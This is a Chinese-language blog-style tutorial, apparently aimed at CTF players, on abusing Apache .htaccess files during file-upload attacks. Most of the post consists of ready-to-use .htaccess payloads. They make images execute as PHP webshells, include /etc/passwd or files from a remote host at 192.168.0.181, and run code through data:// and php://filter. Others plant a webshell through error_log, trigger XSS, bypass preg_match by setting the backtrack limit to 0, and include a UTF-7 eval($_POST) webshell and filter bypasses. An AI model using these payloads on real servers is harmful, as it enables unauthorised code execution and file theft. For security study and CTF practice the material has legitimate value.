今天整理文件的时候发现了这篇库存
正好用来整理下有关.htaccess文件的一些技巧吧
.htaccess基本知识
.htaccess
文件是Apache中有一种特殊的文件,其提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一条或多条指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride
指令来设置。
.htaccess
文件中的配置指令作用于 .htaccess
文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess
文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess
文件中的指令可能会覆盖其上级目录中的 .htaccess
文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
注意:.htaccess
中有 #
单行注释符,且支持 \
拼接上下两行。
配置文件
启动 .htaccess
,需要在服务器的主配置文件中将 AllowOverride
设置为 All
,例如在 apache2.conf
中:
AllowOverride All # 启动.htaccess文件的使用
也可以通过 AccessFileName
将 .htaccess
修改为其他名:
AccessFileName .config # 将.htaccess修改为.config
.htaccess文件常用指令
.htaccess
可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。这里我们主要讲解几种常利用的指令。
详情请看官方文档
SetHandler
SetHandler
指令可以强制所有匹配的文件被一个指定的处理器处理。
用法:
SetHandler handler-name|None
示例 1:
SetHandler application/x-httpd-php
此时当前目录及其子目录下所有文件都会被当做 php 解析。
示例 2:
SetHandler server-status
开启 Apache 的服务器状态信息(server-status
是 Apache 自带一个查看 Apache 状态的功能模块),可以查看所有访问本站的记录,访问任意不存在的文件可见,加参数 ?refresh=5
来实现每隔 5s 自动刷新。
AddHandler
AddHandler
指令可以实现在文件扩展名与特定的处理器之间建立映射。
用法:
AddHandler handler-name extensive [extensive] ...
示例:
AddHandler php5-script .gif
即将扩展名为 .gif
的文件作为 php
脚本来处理。
AddType
AddType
指令可以将给定的文件扩展名映射到指定的内容类型。
用法:
AddType media-type extensive [extensive] ...
示例 1:
AddType application/x-httpd-php .gif
此时将会把 .gif
为后缀的文件当做 PHP
文件解析。
示例 2:
AddType application/x-httpd-php png jpg gif
此时将会把 .png
、.jpg
、.gif
多个后缀的文件当做PHP文件解析。
php_value
当使用 PHP 作为 Apache 模块时,可以用 Apache 的配置文件(例如 httpd.conf
)或 .htaccess
文件中的指令来修改 PHP 的配置设定。但是需要有开启 AllowOverride Options
或 AllowOverride All
权限才可以。
php_value
指令用来设定指定的 PHP 的配置值。
要清除先前设定的值,把 value
设为 none
。但是 php_value
不能用来设定布尔值,如果要设定布尔值的话应该用 php_flag
。
用法:
php_value name value
但是并不是所有的 PHP 配置都可以用 php_value
来设定
.htaccess
的 php_value
只能用于 PHP_INI_ALL
或 PHP_INI_PERDIR
类型的指令。
示例:
php_value auto_prepend_file images.png
设置访问一个 PHP 文件时,在该文件解析之前会先自动包含并解析 images.png
文件。
php_flag
php_flag
指令用来设定布尔值类型的 PHP 配置选项。
用法:
php_flag name on|off
php_flag
可以设定的配置也是有范围的,
实例
php_flag engine 0
将 engine
设置为 0,即在本目录和子目录中关闭 PHP 解析,可以造成源码泄露。
.htaccess常见利用
源码泄露
我们可以通过 .htaccess
文件的 php_flag
指令对 PHP 的 engine
配置选项进行设定,当把 engine
的值设为 off
(或 0
)时可以禁用一个本目录和子目录中的 PHP 解析,此时将会造成源码泄露,使用浏览器访问PHP文件后会显示源码
图片马解析
在文件上传漏洞中经常遇到上传图片马的情况,如果目标环境开启了 .htaccess
并且上传的黑名单没有限制 .htaccess
文件的话,我们便可以先上传 .htaccess
文件,对目标环境的目录进行相应的配置,然后再上传图片,使图片的 PHP 恶意代码得以被直接解析执行。
下面写两个常用的.htaccess
文件:
SetHandler 指令
我们可以使用 SetHandler
指令强制将所有匹配的文件被 PHP 处理器处理并解析:
# 将images.png 当做 php 执行
<FilesMatch "images.png">
SetHandler application/x-httpd-php
</FilesMatch>
AddType 指令
也可以使用 AddType
指令将给定的文件扩展名映射到 PHP 的内容类型:
# 将 .jpg 当做 php 文件解析
AddType application/x-httpd-php .png
这两种配置都可以使我们上传的非 PHP 类型的 Webshell 被当做 PHP 直接解析
文件包含
本地文件包含
在本目录或子目录中有可解析的 PHP 文件时,可以通过 php_value
来设置 auto_prepend_file
或者 auto_append_file
配置选项来让所有的 PHP 文件自动包含一些敏感文件或恶意文件(如WebShell),来触发文件包含。
下面 .htaccess
分别通过这两个配置选项来包含 /etc/passwd
,并访问同目录下的 index.php
文件。
auto_prepend_file:
php_value auto_prepend_file /etc/passwd
auto_append_file:
php_value auto_append_file /etc/passwd
这两个配置选项用于设置访问一个 PHP 文件时,在该 PHP 文件解析之前会先自动包含并解析的文件。如下图当我们访问 index.php
时,便会自动将 /etc/passwd
包含进来
在实际的文件上传利用中,如果目标环境的当前目录中存在至少一个 PHP 文件且上传黑名单没有限制 .htaccess
文件的话,我们便可以上传包含以上指令的 .htaccess
文件,将我们需要读取的敏感文件包含进来并读取。
同理,我们也可以让 index.php
文件包含一个含有 Webshell 的文件来 Getshell,可用于图片马的解析:
php_value auto_prepend_file images.png
或:
php_value auto_append_file images.png
远程文件包含
PHP 的 allow_url_include
配置选项这个选项默认是关闭的,如果开启的话就可以进行远程包含。
因为 allow_url_include
的配置范围为 PHP_INI_SYSTEM
,所以无法利用 php_flag
指令在 .htaccess
文件中开启。
假设当前在php.ini
中设置 allow_url_include
为 On
。
.htaccess
文件中的设置为:
php_value auto_prepend_file http://192.168.0.181/phpinfo.txt
或:
php_value auto_append_file http://192.168.0.181/phpinfo.txt
远程主机上的phpinfo.txt中的内容为:
<?php phpinfo();?>
这样,最终目标主机上的php文件都会包含这个远程主机上的 phpinfo.txt 并解析执行
任意代码执行
通过 PHP 伪协议
这里主要用的还是 auto_prepend_file
或 auto_append_file
这两个配置项。
条件:
allow_url_fopen 为 On
allow_url_include 为 On
目标环境的当前目录中存在至少一个 PHP 文件
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
或:
php_value auto_append_file data://text/plian,%3c%3fphp+phpinfo()%3b%3f%3e
// 如果不使用base64加密则注意需要url编码
通过解析 .htaccess 文件
方法一:通过包含 .htaccess
自身
php_value auto_append_file .htaccess
#<?php phpinfo();?>
即让所有的 PHP 文件都包含 .htaccess
文件自身
方法二:直接将 .htaccess 文件当做 PHP文件处理
这种方法适合目标环境当前目录或子目录下没有 PHP 文件的情况下。
需要先在 .htaccess
里面设置允许访问 .htaccess
文件,否则是直接访问 .htaccess
文件是Forbidden的:
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
然后再设置将 .htaccess
指定当做 PHP 文件处理并解析:
SetHandler application/x-httpd-php
# <?php phpinfo();?>
最终 .htaccess
文件里面的内容为:
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo();?>
然后我们直接访问 .htaccess
文件即可把 .htaccess
文件当做 PHP 文件处理并执行里面的 PHP 代码:
进行 XSS 攻击
通过设置 highlight_file
我们可以通过 .htaccess
文件设定 highlight.comment
选项,指定需要高亮的内容,从而进行 XSS。
.htaccess
中的内容
php_value highlight.comment '"><script>alert(1);</script>'
index.php中的内容为:
<?php
highlight_file(__FILE__);
// comment
当访问index.php时便会触发 XSS
通过错误消息链接
.htaccess
中的内容:
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"
index.php 中的内容为:
<?php
include('foo'); // 这里会报错
当访问index.php时便会触发 XSS
自定义错误文件(可写Webshell)
error_log
可以将 PHP 运行报错的记录写到指定文件中,因此我们可以通过 .htaccess
文件设定 error_log
选项来自定义错误文件的存储路径,并以此来写入Webshell:
php_value error_log /var/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"
# include_path 用来将include()的默认目录路径改变
index.php 中的内容为:
<?php
include('foo'); // 这里会报错
访问 index.php,会报错并记录在 shell.php 文件中
访问上述index.php文件可以将<?php phpinfo(); __halt_compiler();
写入文件shell.php中,但是 <
等字符会经过 html 编码,所以我们需要用 UTF-7 编码格式来绕过
正则回朔绕过正则匹配
《PHP利用PCRE回溯次数限制绕过某些安全限制》 这篇文章中提到了一个正则回朔绕过 preg_match
检测的方法。即 PHP 的配置选项 pcre.backtrack_limit
给pcre
设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match
会返回false
,我们可以通过这一点来绕过 preg_match
等函数正则匹配的检测。
由于 .htaccess
可以设定 PHP 的配置选项,那我们便可以将 pcre.backtrack_limit
设为 0 ,从而利用这个漏洞:
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
# \
实例:
<?php
......
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
......
file_put_contents($filename, $content . "\nJust one chance");
?>
可以看到代码中的 preg_match
使用正则匹配限制filename
只能是 a-z
和点.
,那我们便可以通过写入 .htaccess
设置回溯次数(pcre.backtrack_limit
)为 0,从而绕过这里的正则回溯,直接将我们的Webshell写入fl3g.php。
首先将 pcre.backtrack_limit
的配置写入 .htaccess
:
/index.php?filename=.htaccess&content=php_value%20pcre.backtrack_limit%200%0Aphp_value%20pcre.jit%200%0A%23%20%5C
然后访问以下 url 将 Webshell 写入fl3g.php:
/index.php?filename=fl3g.php&content=<?php phpinfo();?>
执行后可以发现,成功将Webshell写入了fl3g.php:
绕过 <? 特殊字符
有时候,目标环境会限制我们上传或写入的文件内容中不能存在 <?
等特殊字符,如果没有限制 .htaccess
的话,我们同样可以使用 .htaccess
来绕过。
Base64 编码绕过
主要就是利用 auto_append_file
和 PHP 伪协议,比如我们在一个图片中写入经过base64编码后的 Webshell,然后我们便可以使用 auto_append_file
配合 php://filter
将其包含进来:
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"
# images.png 中是经过base64编码后的Webshell
我们直接使用data://协议也是可以的,这样就不需要上传 images.png 了:
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
UTF-7 编码格式绕过
这种方法我们在前文中已经涉及到了,比如我们在一个图片中写入 UTF-7 编码格式的 Webshell:
// images.png
+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-
然后我们使用 auto_append_file 将其包含进来并设置编码格式为 UTF-7 就行了:
php_value auto_append_file images.png
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
当然,也可以使用 php://filer 伪协议进行 UTF-7 与 UTF-8 之间的转换,即:
php_value auto_append_file "php://filter/read=convert.iconv.utf-7.utf-8/resource=images.png"
也可以使用 .htaccess
自身包含来执行 Webshell,这样就不需要再上传一个 images.png 了:
php_value auto_append_file .htaccess
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# +ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-
同理,除了使用 UTF-7 外,UTF-16、UTF-32 都可以使用,方法都是一样的。
与 .htaccess 相关的几个 Bypass
与 .htaccess 相关限制除了使用黑名单限制 .htaccess 外,最常见的就是限制关键字以及加入脏字符
绕过关键字过滤
绕过对关键字的过滤我们可以使用反斜杠 \
加换行来实现。比如题目过滤了 type、php 等敏感字符,此时为了利用 .htaccess
解析图片马,我们需要将 .htaccess
写成这样:
AddTy\
pe application/x-httpd-ph\
p .png
# 即: AddType application/x-httpd-php .png
绕过脏字符
有的题目会在我们传入的.htaccess
文件后加入其他字符或者换行等内容,导致.htaccess
文件不生效,响应500。
这时需要使用\
转义特殊字符或者使用#
注释
假设题目会在.htaccess
文件后加入\nHacker
,这会导致其无法正确解析
为了使我们写入的.htaccess
文件生效我们要采用 \
的方式将换行符转义成普通字符,然后用 #
来注释单行,即:
......
# \\nHacker
绕过对上传图片的尺寸限制
有时候,在图片上传区会使用 getimagesize()
等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用 exif_imagetype()
函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess
来解析图片的话我们还需要让 .htaccess
的尺寸和经过 exif_imagetype()
检测后的结果符合题目要求。
我们可以使用 exif_imagetype()
函数支持的 WBMP 图像类型进行绕过。WBMP(Wireless Bitmap)是一种移动计算机设备使用的标准图像格式,是一种纯文本二进制图像格式的图片,实例如下:
#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };
可以看到 WBMP 图像的开头可以使用 #
设置图像的尺寸大小,这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337×1337,那么我们在上传.htaccess
时便可以用 WBMP 来绕过,例如:
#define width 1337
#define height 1337
AddType application/x-httpd-php images.png
.htsccess小技巧
这个部分持续更新,遇到新学到的会回来补充的!
include_path()
的利用
include_path()
可以用来设置include()
或require()
函数包含文件的参考目录路径,也就是说当使用include()
或require()
函数包含文件的时候,程序首先以include_path
设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错,那么我们就可以通过修改它来控制include
的路径
我们可以利用这个函数在一些特殊的路径中包含我们写入的文件
评论